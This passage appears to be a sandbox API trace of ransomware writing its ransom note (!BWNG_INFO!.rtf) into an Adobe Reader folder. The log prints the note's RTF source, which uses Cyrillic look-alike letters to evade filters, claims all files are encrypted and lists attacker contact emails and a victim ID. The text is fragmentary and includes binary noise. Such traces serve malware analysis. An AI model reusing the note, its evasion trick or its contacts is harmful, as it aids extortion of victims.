\\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.894] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.895] CloseHandle (hObject=0x168) returned 1 [0041.895] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\!bwng_info!.rtf")) returned 0xffffffff [0041.895] GetLastError () returned 0x2 [0041.896] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 